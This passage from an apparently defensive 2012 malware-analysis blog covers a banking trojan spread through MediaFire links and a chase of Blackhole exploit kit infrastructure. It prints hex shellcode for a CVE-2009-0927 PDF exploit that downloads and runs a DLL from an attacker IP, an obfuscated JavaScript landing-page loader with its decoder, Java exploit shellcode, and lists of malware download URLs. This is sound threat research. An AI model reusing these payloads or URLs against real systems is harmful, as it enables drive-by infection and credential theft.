CRYPT32.dll.CryptHashCertificate Hint[151]
CRYPT32.dll.CertFreeCertificateChain Hint[58]
Some very suspicious calls:
0x4131c4 GetCommandLineA
0x4131c4 EmptyClipboard //Clipboard OP
0x41311c TlsAlloc //TLS trace
0x41312c TlsFree
0x413130 TlsSetValue
0x413134 TlsGetValue
0x4130b0 VirtualProtect //DEP violation
0x41313c HeapCreate //DEP violation
0x413160 VirtualAlloc //DEP violation
And some suspicious calls:
0x413058 GetTickCount
0x41306c LoadLibraryA
0x4130f0 CloseHandle
0x4130f4 GetProcAddress
0x4130fc GetCurrentProcess
0x413128 GetCurrentThread
Complete calls : http://pastebin.com/raw.php?i=7wYJf6ez
Some suspected drop-names hint
c:\Lyqega\ozewogu\Exebajapuw\Ywegypus\Homelexabi\
Axegasuro\Ubytibu\udosomo\Hivaqyvy\yselyh\oxiwunaqy.pdb
Reads your Terminal Server:
HKLM\System\CurrentControlSet\Control\Terminal Server
Value: TSAppCompat & TSUserEnabled
So let's see what Virus Total check about this:MD5: c8d2fe418273353707fe6d787ce07a7e
File size: 308.0 KB ( 315392 bytes )
File name: contacts.exe
File type: Win32 EXE
Detection: 1 / 42
AnalysDate: 2012-09-08 19:27:59 UTC ( 0 分 ago
URL:-------->>[CLICK]
And the worse part of it is... this malware is still undetectable!
I am sure that some of you know when you have to be sure when you find some malware with the current zero rate detection, since the others will be opposing you rather than supporting the new finding.
After I fix my storage (where I put my RAT & KVM w/WindozOS images) I will surely do some behavior analysis accordingly, will post the result later.
Be free to write your comment and I will try to response it accordingly.
Thank's for reading.
Thứ Năm, 6 tháng 9, 2012
07:53
nam tóc xù
This is really sad to know the infection goes to cloud, this is one true case example.
I grep the trojan infections in the phising databases just now, came to my interest the list of the file "Application+Form.zip" saved in the many infector urls. As I dns-reversed it came up with the Free Cloud Storage - MediaFire's url. The list and proof itself is as per below:
I grep the trojan infections in the phising databases just now, came to my interest the list of the file "Application+Form.zip" saved in the many infector urls. As I dns-reversed it came up with the Free Cloud Storage - MediaFire's url. The list and proof itself is as per below:
NetRange: 199.91.152.0 - 199.91.159.255
CIDR: 199.91.152.0/21
OriginAS: AS46179
NetName: MEDIAFIRE-IP-199-91-159-0-21
IP: 199.91.154.64
h00p://199.91.154.64/0zosrljb8eig/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.64/axfmj3yimhog/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.64/cbjb39yy2mtg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.64/mbl6b62bplfg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.64/q2p8bqdtdawg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.64/q8fm4zqkmkjg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.64/su5qgslo1dlg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.64/txh6n26njnlg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.64/v9c3p3zh5vqg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.153.124/0g1ttmtrg8pg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.64/f7rq37qx1s9g/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.64/k5493ofo85lg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.64/42tt073rt8mg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.64/sze9xfm656qg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.64/uomppw789gbg/uoqv786sj08g7e2/ApplicationForm.zipNetRange: 199.91.152.0 - 199.91.159.255
CIDR: 199.91.152.0/21
OriginAS: AS46179
NetName: MEDIAFIRE-IP-199-91-159-0-21
IP: 199.91.154.107
h00p://199.91.154.107/1alpy8w96qjg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.107/613u633z438g/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.107/c6oipid67kzg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.107/l45b9swc4lvg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.107/rjim6bnfwjzg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.107/ud90mqgbtggg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.107/un8fcnc6npgg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.107/ynvn4i7525qg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.107/dsxdicu0oscg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.154.107/xagqhgwml7hg/uoqv786sj08g7e2/ApplicationForm.zipNetRange: 205.196.120.0 - 205.196.123.255
CIDR: 205.196.120.0/22
OriginAS: AS46179
NetName: MEDIAFIRE-IP-205-196-120-0-22
IP: 205.196.120.110
h00p://205.196.120.110/0zsxf2wmc7zg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://205.196.120.110/1zkvem7l3ipg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://205.196.120.110/d1yheukvdr8g/uoqv786sj08g7e2/ApplicationForm.zip
h00p://205.196.120.110/dfdi9b6chudg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://205.196.120.110/hj0bpbgpc2rg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://205.196.120.110/sb9u45a424pg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://205.196.120.110/xsbmhu0su5rg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://205.196.120.110/28zr61bk88sg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://205.196.120.110/gi91y11z190g/uoqv786sj08g7e2/ApplicationForm.zip
h00p://205.196.120.110/j3bab9zbovyg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://205.196.120.110/tmdto78d7pqg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://205.196.120.110/381r6n65yyng/uoqv786sj08g7e2/ApplicationForm.zip
h00p://205.196.120.110/cmc1sjgaazzg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://205.196.120.110/pv4jkdpb7nzg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://205.196.120.110/hedpcf570tgg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://205.196.120.110/cyy4oe5dimbg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://205.196.120.110/72095k6k72ag/uoqv786sj08g7e2/ApplicationForm.zip
h00p://205.196.120.110/s875tvod3mwg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://205.196.120.110/yu4td1yx6vdg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://205.196.120.110/bt6l2tp1nwcg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://205.196.120.110/t0w3djft3pfg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://205.196.120.110/kl8a20aaadkg/uoqv786sj08g7e2/ApplicationForm.zipNetRange: 199.91.152.0 - 199.91.159.255
CIDR: 199.91.152.0/21
OriginAS: AS46179
NetName: MEDIAFIRE-IP-199-91-159-0-21
IP: 199.91.153.124
h00p://199.91.153.124/4cd3dm7gtpzg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.153.124/zk1e4ecxarag/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.153.124/0okt4q6bj5wg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.153.124/3erqoa6mwalg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.153.124/420ko8d0jmng/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.153.124/7p3zi7vggg0g/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.153.124/7dqs3rj203ng/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.153.124/v73t589ijw1g/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.153.124/35jbz97j4vkg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.153.124/af1ofxzwxz6g/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.153.124/e4zta0q4y2ng/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.153.124/k5e5qrpfvqxg/uoqv786sj08g7e2/ApplicationForm.zip
h00p://199.91.153.124/iddo976x8rkg/uoqv786sj08g7e2/ApplicationForm.zip
A download PoC are below:
Case 1:--22:40:15-- h00p://199.91.154.64/0zosrljb8eig/uoqv786sj08g7e2/ApplicationForm.
zip
=> `ApplicationForm.zip'
Connecting to 199.91.154.64:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: h00p://www.mediafire.com/?uoqv786sj08g7e2 [following]
--22:40:15-- h00p://www.mediafire.com/?uoqv786sj08g7e2
=> `index.html@uoqv786sj08g7e2'
Resolving www.mediafire.com... 205.196.120.6, 205.196.120.8
Connecting to www.mediafire.com|205.196.120.6|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: h00p://205.196.122.152/ipb7dusor0zg/uoqv786sj08g7e2/Application+Form.z
ip [following]
--22:40:16-- h00p://205.196.122.152/ipb7dusor0zg/uoqv786sj08g7e2/Application+Fo
rm.zip
=> `Application+Form.zip'
Connecting to 205.196.122.152:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 640,712 (626K) [application/zip]
100%[====================================>] 640,712 148.40K/s ETA 00:00
22:40:21 (130.61 KB/s) - `Application+Form.zip' saved [640712/640712]
GET /0zosrljb8eig/uoqv786sj08g7e2/ApplicationForm.zip HTTP/1.0
User-Agent: MalwareMustDie/1.10.1
Accept: */*
Host: 199.91.154.64
Connection: Keep-Alive
HTTP/1.1 302 Found
Location: h00p://www.mediafire.com/?uoqv786sj08g7e2
Connection: Close
GET /?uoqv786sj08g7e2 HTTP/1.0
User-Agent: MalwareMustDie/1.10.1
Accept: */*
Host: www.mediafire.com
Connection: Keep-Alive
HTTP/1.1 302 Found
Date: Thu, 06 Sep 2012 13:41:36 GMT
Cache-control: no-cache
Pragma: no-cache
Expires: 0
Set-Cookie: ukey=7th4ubnj5cc2ucw0hhiemxt6bi6hh8z8;
expires=Thu, 07-Aug-2014 13:41:36 GMT;
path=/; domain=.mediafire.com; httponly
Location: h00p://199.91.153.246/4ejd935utdag/uoqv786sj08g7e2/Application+Form.zip
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
Server: MediaFire
GET /4ejd935utdag/uoqv786sj08g7e2/Application+Form.zip HTTP/1.0
User-Agent: MalwareMustDie/1.10.1
Accept: */*
Host: 199.91.153.246
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: LRBD-stable-724
Date: Thu, 6 Sep 2012 13:41:37 GMT
Connection: close
Accept-Ranges: bytes
Content-transfer-encoding: binary
Content-Length: 640712
Content-Disposition: attachment; filename="Application Form.zip"
Content-Type: application/zip
Case 2 :--22:46:34-- h00p://205.196.120.110/hj0bpbgpc2rg/uoqv786sj08g7e2/ApplicationForm.zip
=> `ApplicationForm.zip'
Connecting to 205.196.120.110:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: h00p://www.mediafire.com/?uoqv786sj08g7e2 [following]
--22:46:35-- h00p://www.mediafire.com/?uoqv786sj08g7e2
=> `index.html@uoqv786sj08g7e2'
Resolving www.mediafire.com... 205.196.120.6, 205.196.120.8
Connecting to www.mediafire.com|205.196.120.6|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: h00p://199.91.153.58/3h59697w91jg/uoqv786sj08g7e2/Application+Form.zip
[following]
--22:46:36-- h00p://199.91.153.58/3h59697w91jg/uoqv786sj08g7e2/Application+Form
.zip
=> `Application+Form.zip.1'
Connecting to 199.91.153.58:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 640,712 (626K) [application/zip]
100%[====================================>] 640,712 155.64K/s ETA 00:00
22:46:40 (149.68 KB/s) - `Application+Form.zip.1' saved [640712/640712]
GET /hj0bpbgpc2rg/uoqv786sj08g7e2/ApplicationForm.zip HTTP/1.0
User-Agent: MalwareMustDie/1.10.1
Accept: */*
Host: 205.196.120.110
Connection: Keep-Alive
HTTP/1.1 302 Found
Location: h00p://www.mediafire.com/?uoqv786sj08g7e2
Connection: Close
GET /?uoqv786sj08g7e2 HTTP/1.0
User-Agent: MalwareMustDie/1.10.1
Accept: */*
Host: www.mediafire.com
Connection: Keep-Alive
HTTP/1.1 302 Found
Date: Thu, 06 Sep 2012 13:46:27 GMT
Cache-control: no-cache
Pragma: no-cache
Expires: 0
Set-Cookie: ukey=5l8f4622p85a2nl61q8yadidbjjyx0wr;
expires=Thu, 07-Aug-2014 13:46:27 GMT;
path=/; domain=.mediafire.com; httponly
Location: h00p://199.91.153.58/3h59697w91jg/uoqv786sj08g7e2/Application+Form.zip
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
Server: MediaFire
GET /3h59697w91jg/uoqv786sj08g7e2/Application+Form.zip HTTP/1.0
User-Agent: MalwareMustDie/1.10.1
Accept: */*
Host: 199.91.153.58
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: LRBD-stable-724
Date: Thu, 6 Sep 2012 13:46:27 GMT
Connection: close
Accept-Ranges: bytes
Content-transfer-encoding: binary
Content-Length: 640712
Content-Disposition: attachment; filename="Application Form.zip"
Content-Type: application/zip
I bet there are more of these, since I have to stop my scanning script
because it looks never ending..
I downloaded it and it was a plain zip file contains this file:
According to the server's time stamp it looks like months ago
released / uploaded trojan. A quicky of binary analysis below:*) PE Information:
Entry Point at 0x132d3e
Virtual Address is 0x53493e
Sections:
.text 0x2000 0x132944 1255936 <---Entry Point
.sdata 0x136000 0x7d 512
.rsrc 0x138000 0x10470 67072
.reloc 0x14a000 0xc 512
*) Suspicious Points:
CRC Fail! Claimed: 0 Actual: 1358198
Compiled: 0x4F087C53 [Sat Jan 07 17:09:39 2012 UTC]
Compiler Trace: Microsoft Visual C# / Basic .NET /Microsoft Visual Studio .NET
Some URLs:
Checking h00p://ns.adobe.com/xap/1.0/sType/ResourceRef# ... OK
Checking h00p://purl.org/dc/elements/1.1/ ... OK
Checking h00p://www.w3.org/1999/02/22-rdf-syntax-ns# ... OK
Checking h00p://ns.adobe.com/xap/1.0/mm/ ... OK
Checking h00p://ns.adobe.com/xap/1.0/ ... OK
Checking h00p://ns.adobe.com/photoshop/1.0/ ... OK
Checking h00p://ns.adobe.com/exif/1.0/ ... OK
Checking h00p://ns.adobe.com/tiff/1.0/ ... OK
Checking h00p://www.apple.com/DTDs/PropertyList-1.0.dtd ... OK
*) Attribute:
LangID: 000004b0
LegalCopyright: Copyright \xa9 2011
Assembly Version: 1.0.0.0
InternalName: ApplicationForm.exe
FileVersion: 1.0.0.0
ProductName: Microsoft Word
ProductVersion: 1.0.0.0
FileDescription: Microsoft Word
OriginalFilename: ApplicationForm.exe
I bet many others already analyzed this sample so I just checked in into VT:MD5: 0ce2039d64903171243b6206dc889807
File size: 1.3 MB ( 1325056 bytes )
File name: ApplicationForm.exe
File type: Win32 EXE
Detection: 30 / 42
Analysis date: 2012-05-07 20:38:32 UTC ( 4month ago )
URL: --->>>[CLICK]
Malware Names:
CAT-QuickHeal : TrojanBanker.MSIL.MultiPhishi
McAfee : Artemis!0CE2039D6490
K7AntiVirus : Trojan
TheHacker : Trojan/MultiPhishing.aa
NOD32 : a variant of MSIL/Spy.Banker.O
Symantec : Infostealer.Bancos
Norman : W32/Troj_Generic.NPFX
TrendMicro-HouseCall : TROJ_SPNR.06B512
Avast : MSIL:Banker-A [Trj]
eSafe : Win32.Infostealer.Ba
Kaspersky : Trojan-Banker.MSIL.MultiPhishing.aa
BitDefender : Gen:Variant.Kazy.42127
Comodo : UnclassifiedMalware
F-Secure : Gen:Variant.Kazy.42127
DrWeb : Trojan.Siggen3.42852
VIPRE : Trojan.Win32.Generic!BT
AntiVir : TR/Kazy.42127.34
TrendMicro : TROJ_SPNR.06B512
McAfee-GW-Edition : Artemis!0CE2039D6490
Emsisoft : Trojan-Banker.MSIL!IK
Jiangmin : Trojan/Banker.MSIL.x
Antiy-AVL : Trojan/MSIL.MultiPhishing.gen
Microsoft : Trojan:Win32/Sisron
GData : Gen:Variant.Kazy.42127
VBA32 : TrojanBanker.MSIL.MultiPhishing.aa
PCTools : Trojan-PSW.Bancos!rem
Ikarus : Trojan-Banker.MSIL
Fortinet : W32/MultiPhishing.AA!tr
AVG : Generic26.CGTQ
Panda : Generic Trojan
Yep, this is the trojan banker which steals your credentials.
It was last detected 4months ago according to the VT database.
I am not going to analyze this because of is an obvious known & well handled malware.
Complete technical analysis can be found in microsoft site↓
And this trojan was reported suddenly grows according to this news↓
Hope Media Fire see this blog to soon get rid of them from their server.
Thứ Tư, 5 tháng 9, 2012
08:44
nam tóc xù
Getting the latest blackhole exploit kit's drops url means racing with devil itself. They changed within hours for the dropped payload and also its drop parameter. The landing page/infector itself is not that frequently changed but we cannot expect one active IP of it to stay with the one scheme of infector which will last for days now.
I share this as a "malware crusading" true story session of chasing the last dropped binary of blackhole itself.
I am trying to write into as details as possible for every peson who read to understand how the blackhole is, what they can do to us, and how important to block their infectors in PDF, HTML, Java(Jar) and PE binaries, so please bare with the boring parts. WARNING: All of the url written in this blog are dangerous and infectious, so please do not try to simulate this operation if you are not a malware expert, since I am not be responsible for any damage caused by your misoperation.
Here we go..
I am in the middle of monitoring the recent blackhole's drops.
Currently is observing the very fast movement of blackhole with
the last IP is 85.17.58.123 After some filtering to all spam
databases I can grab daily, found spam with the below two links:h00p://85.17.58.123/data/ap1.php?f=97d19
h00p://85.17.58.123/main.php?page=9dd146e88937797b
(both were detected in few hours less than 24hrs)
Let's fetch the first url:--20:25:40-- h00p://85.17.58.123/data/ap1.php?f=97d19
=> `ap1.php@f=97d19'
Connecting to 85.17.58.123:80... connected.
http request sent, awaiting response... 200 OK
GET /data/ap1.php?f=97d19 h00p/1.0
User-Agent: Unixfreaxjp/MalwareMustDie/1.0
Accept: */*
Host: 85.17.58.123
Connection: Keep-Alive
h00p/1.1 200 OK
Server: nginx
Date: Wed, 05 Sep 2012 09:29:03 GMT
Content-Type: application/pdf
Content-Length: 14856
Connection: keep-alive
X-Powered-By: PHP/5.3.15
Accept-Ranges: bytes
Content-Disposition: inline; filename=baa7a.pdf
Vary: Accept-Encoding,User-Agent
As you can see, is a PDF file called baa7a.pdf.
You can see the text part of this pdf itself here-->>[CLICK]
It contained malicious code which I neutralized them.
So, what is this PDF file?
This is CVE-2009-0927 exploit PDF Shellcode to download and executing
payload provided by exploit kits, in our case, blackhole.
Let's understand the meaning of CVE-2009-0927:
Reference:-->http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0927Stack-based buffer overflow in Adobe Reader and Adobe Acrobat 9
before 9.1, 8 before 8.1.3 , and 7 before 7.1.1 allows remote
attackers to execute arbitrary code via a crafted argument to
the getIcon method of a Collab object
The evil script is being composed by the script in "/S/JavaScript/JS" part by
using the grabbled obfuscated data in after "10 0 obj" PDF tag.
If you deobfuscated it wight then you will get this evil code -->>[CLICK]
What this code do is you'll fet the value of the Collab.getIcon() below:4e 2e O9 09 09 09 09 09 09 09 09 09 09 09 09 09
09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09
09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09
BLAH BLAH BLAH...
09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09
09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09
09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09
It will buffer overflowing old Reader or Acrobat and arbitary
executing the below shellcode written at the beginning of code:66 83 e4 fc fc 85 e4 75 34 e9 5f 33 c0 64 8b 40
30 8b 40 0c 8b 70 1c 56 8b 76 08 33 db 66 8b 5e
3c 03 74 33 2c 81 ee 15 10 ff ff ｂ８ 8b 40 30 c3
46 39 06 75 fb 87 34 24 85 e4 75 51 e9 eb 4c 51
56 8b 75 3c 8b 74 35 78 03 f5 56 8b 76 20 03 f5
33 c9 49 41 fc ad 03 c5 33 db 0f be 10 38 f2 74
08 c1 cb 0d 03 da 40 eb f1 3b 1f 75 e6 5e 8b 5e
24 03 dd 66 8b 0c 4b 8d 46 ec ff ５４ 24 0c 8b d8
03 dd 8b 04 8b 03 c5 ab 5e 59 c3 eb 53 ad 8b 68
20 80 7d 0c 33 74 03 96 eb f3 8b 68 08 8b f7 6a
05 59 e8 98 ff ff ff e2 f9 e8 00 00 00 00 58 50
6a 40 68 ff 00 00 00 50 83 c0 19 50 55 8b ec 8b
5e 10 83 c3 05 ff e3 68 6f 6e 00 00 68 75 72 6c
6d 54 ff 16 83 c4 08 8b e8 e8 61 ｆｆ ff ff eb 02
eb 72 81 ec 04 01 00 00 8d 5c 24 0c c7 04 24 72
65 67 73 c7 44 24 04 76 72 33 32 c7 44 24 08 20
2d 73 20 53 68 f8 00 00 00 ff 56 0c 8b e8 33 c9
51 c7 44 1d 00 77 70 62 74 c7 44 1d 05 2e 64 6c
6c c6 44 1d 09 OO 59 8a c1 04 30 88 44 1d 04 41
51 6a 00 6a 00 53 57 6a 00 ff 56 14 85 c0 75 16
6a 00 53 ff 56 04 6a 00 83 eb 0c 53 ff 56 04 83
c3 0c eb 02 eb 13 47 80 3f 00 75 fa 47 80 3f 00
75 c4 6a 00 6a fe ff 56 08 e8 9c fe ff ff 8e 4e
0e ec 98 fe 8a 0e 89 6f 01 bd 33 ca 8a 5b 1b c6
46 79 36 1a 2f 70 68 74 74 70 3a 2f 2f 38 35 2e
31 37 2e 35 38 2e 31 32 33 2f 77 2e 70 68 70 3f
66 3d 39 37 64 31 39 26 65 3d 33 OO 00 00
Not taking the genious to see to which url this shellcode goes
because the url was written as per it is as ASCII as per below----snipped-----
Qj.j.SWj..V...u.
j.S.V.j....S.V..
......G.?.u.G.?.
u.j.j..V.......N
.......o..3..[..
Fy6./ph00p://85.
17.58.123/w.php?
f=97d19&e=3...
↑
(h00p://85.17.58.123/w.php?f=97d19&e=3)
As usual this shellcode is using :
kernel32.dll to call urlmon dll to do below operation↓0x7c801ad9 kernel32.VirtualProtect(lpAddress=0x4021be, dwSize=255)
0x7c801d7b kernel32.LoadLibraryA(lpFileName=urlmon)
0x7c835dfa kernel32.GetTempPathA(lpBuffer=0x22fa60,
nBufferLength=248,
[lpBuffer=C:\DOCUME~1\Administrator\LOCALS~1\Temp\])
0x1a494bbe urlmon.URLDownloadToFileA(pCaller=0,
szURL=h00p://85.17.58.123/w.php?f=97d19&e=3, lpfnCB=0x0,
szFileName=C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll)
0x7c86250d kernel32.WinExec
(lpCmdLine=C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll, uCmdShow=0
0x7c86250d kernel32.WinExec
(lpCmdLine=regsvr32 -s C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll,
uCmdShow=0)
0x7c81cb3b kernel32.TerminateThread(dwExitCode=0)
It is supposed to download the payload, saved, executed & daemonized it in
your PC as malware....BUT!!
Looks like our superstar (malware's payload) is gone..--21:48:00-- h00p://85.17.58.123/w.php?f=97d19&e=3
=> `w.php@f=97d19&e=3'
Connecting to 85.17.58.123:80... connected.
HTTP request sent, awaiting response... 200 OK ＜==== ALIVE! Good!
tcpdump'ing it:GET /w.php?f=97d19&e=3 HTTP/1.0
User-Agent: Unixfreaxjp/MalwareMustDie/1.0
Accept: */*
Host: 85.17.58.123
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 05 Sep 2012 09:49:30 GMT
Content-Type: text/html
Content-Length: 0 ←-Oh No! Payload can't be reached for 1,000 reasons..
Connection: keep-alive
X-Powered-By: PHP/5.3.15
Vary: Accept-Encoding,User-Agent
I learned that later on that the url parameter has been changed.
And also making sure that I was not mistaken about this BHEK.
result is promising, yep is a blackhole to me:Host: "hosted-by.leaseweb.com" (IP: 85.17.58.123/ASN 16265) appears to be up
22/tcp open ssh
80/tcp open http
135/tcp filtered msrpc
136/tcp filtered profile
137/tcp filtered netbios-ns
138/tcp filtered netbios-dgm
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
OS: Windows NT
T1(Resp=Y%DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW)
T2(Resp=N)
T3(Resp=Y%DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW)
T3(Resp=Y%DF=Y%W=16A0%ACK=O%Flags=A%Ops=NNT)
ASN AS16265 LeaseWeb B.V.
Location [Netherlands] Netherlands
Last Sniffed 2012-09-04 22:02:03 CET
(is up less than 24hrs, is gotta be another ALIVE payload link...)
inetnum: 85.17.58.0 - 85.17.58.255
netname: LEASEWEB
descr: LeaseWeb
descr: P.O. Box 93054
descr: 1090BB AMSTERDAM
descr: Netherlands
descr: www.leaseweb.com
remarks: Please send email to "abuse@leaseweb.com" for complaints
remarks: regarding portscans, DoS attacks and spam.
remarks: INFRA-AW
country: NL
admin-c: LSW1-RIPE
tech-c: LSW1-RIPE
status: ASSIGNED PA
mnt-by: OCOM-MNT
source: RIPE # Filtered
So I run the second url with the same drill above....--21:38:26-- h00p://85.17.58.123/main.php?page=9dd146e88937797b
=> `main.php@page=9dd146e88937797b'
Connecting to 85.17.58.123:80... connected.
HTTP request sent, awaiting response... 200 OK
GET /main.php?page=9dd146e88937797b HTTP/1.0
User-Agent: Wget/1.10.1
Accept: */*
Host: 85.17.58.123
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 05 Sep 2012 10:45:08 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.3.15
Vary: Accept-Encoding,User-Agent
Now Getting THIS obfs HTML,↓＜html＞＜body＞＜script＞x=eval＜/script＞＜pre id="b" d="*404b3o4
.... snipped .......
c2a441o2c3548#413m4f41174j3m454g17$4c3m434117454f17484b^3m
2c2a444e2c1e1g2942&4h4a3o4g454b4a17414a&403k4e4140454e413o
44#4e41422b1e444g4g4c28&1m1m4j4j4j1l434b4b43$48411l3o4b491
13o4g2b@4n4i414e4f454b4a2819^1n1l251l26191j4a3m49#41281935
28424h4a3o4g_454b4a1f3o1j3n1j3m1g_4n4e414g4h4e4a17424h@4a3
142454a414028424h$4a3o4g454b4a1f3n1g4n*4e414g4h4e4a174g4l4
j&454f2f4e4e3m4l28424h*4a3o4g454b4a1f3n1g4n@4e414g4h4e4a1f
4g1l4c@4e4b4g4b4g4l4c411l4g)4b384g4e454a431l3o3m)48481f3n1
n1g4n4e414g^4h4e4a174g4l4c414b42(173n2b2b19424h4a3o4g!454b
4a1f3n1g4n4e414g$4h4e4a174g4l4c414b42#173n2b2b194f4g4e454a
_1g4n4e414g4h4e4a174g#4l4c414b42173n2b2b19#4a4h493n414e195
n1g4n!4e414g4h4e4a1f4g4l4c*414b42173n2b2b194f4g!4e454a4319
414g334h49&3741434k281m3g3h403i)3g3h403h1l3h3k1j1k3i$1h1m1
j1k3i1m431j4341*4g334h4928424h4a3o4g@454b4a1f3n1j3o1g4n4i#
4h491f3n1g2d1f401l45(4f2i4142454a41401f3o@1g2d4a414j173741
1g1l$414k413o1f3n1g284a4h$4848294e414g4h4e4a17(3m2d3m3g1n3
454e413o4g)1j261n1n1n1g29504f4c_481n1f1g29"＞
＜/pre＞＜script type="text/javascript"＞
a=document.getElementsByTagName("pre")[0];＜/script＞
＜script type="text/javascript"＞
a=a.getAttribute("d");
a=a.replace(/[^0-9a-z]/g,"");
a=a.split("");
var z="";
for(var i=0;i＜a.length;i+=2){
z+=String.fromCharCode(parseInt(a[i]+a[1+i],26-1));
}try{dhgsdhd|1}catch(aga){try{if(window.document)c++}catch(b){x(z);}}
＜/script＞＜/body＞＜/html＞
↑if you dobfs it correctly you'll get this evil code -->>>[CLICK]
↑You'll see in the script was redirecting you to Googledocument.write（'＜center＞＜h1＞Please wait page is loading...
＜/h1＞＜/center＞＜hr＞'）;
function end_redirect（）{
window.location.href = 'h00p://www.google.com';
But actually has the Plugin code to detect your OS/Browser:var PluginDetect = {
version : "0.7.8", name : "PluginDetect", handler : function （c, b, a）{
return function （）{
c（b, a）
}
I wrote in details about this plugin in previous post here-->>[CLICK]
So I am not going to explain all functions of it again here,
but let me explain this code's objectivity to our current hunt below:
It detects your browser version, drops malicious browser executable object (Leh.jar) with
the infamous latest java zeroday flaw CVE-2012-4681.
The sample is in the virus total with the below details:MD5: ddf9093ceafc6f7610dcc3fcf2992b98
File size: 44.9 KB ( 45945 bytes )
File name: Leh.jar
File type: ZIP
Tags: cve-2012-4681 exploit zip
Detection ratio: 9 / 42
Analysis date: 2012-09-05 17:00:17 UTC ( 5 分 ago )
URL: ------>>[CLICK]
A quick snip of exploit PoC on the Jar:
This exploit is used to execute a shellcode below:41 41 41 41 66 83 e4 fc fc eb 10 58 31 c9 66 81
e9 58 fe 8O 3O 28 40 e2 fa eb 05 e8 eb ff ff ff
ad cc 5d 1c c1 77 1b e8 4c a3 68 18 a3 68 24 a3
58 34 7e a3 5e 20 1b f3 4e a3 76 14 2b 5c 1b 04
a9 c6 3d 38 d7 d7 90 a3 68 18 eb 6e 11 2e 5d d3
af 1c 0c ad cc 5d 79 c1 c3 64 79 7e a3 5d 14 a3
5c 1d 50 2b dd 7e a3 5e 08 2b dd 1b e1 61 69 d4
85 2b ed 1b f3 27 96 38 10 da 5c 20 e9 e3 25 2b
f2 68 c3 d9 13 37 5d ce 76 a3 76 0c 2b f5 4e a3
24 63 a5 6e c4 d7 7c 0c 24 a3 f0 2b f5 a3 2c a3
2b ed 83 76 71 eb c3 7b 85 a3 40 08 a8 55 24 1b
5c 2b be c3 db a3 40 2O a3 df 42 2d 71 cO b0 d7
